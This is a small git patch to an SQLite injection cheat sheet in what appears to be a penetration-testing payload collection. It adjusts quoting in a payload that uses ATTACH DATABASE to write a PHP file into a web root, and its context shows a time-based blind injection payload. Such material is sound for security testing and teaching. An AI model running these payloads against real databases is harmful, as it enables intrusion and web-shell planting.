From 5cc8e698c9532a434b077c93fe226f68f7e1ea54 Mon Sep 17 00:00:00 2001 From: PinkDraconian Date: Sun, 15 May 2022 13:53:50 +0200 Subject: [PATCH] Single quotes are messing with the command. --- SQL Injection/SQLite Injection.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index 0b7f083..2cdc050 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -82,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) ```sql ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); -INSERT INTO lol.pwn (dataz) VALUES ('');-- +INSERT INTO lol.pwn (dataz) VALUES ("");-- ``` ## Remote Command Execution using SQLite command - Load_extension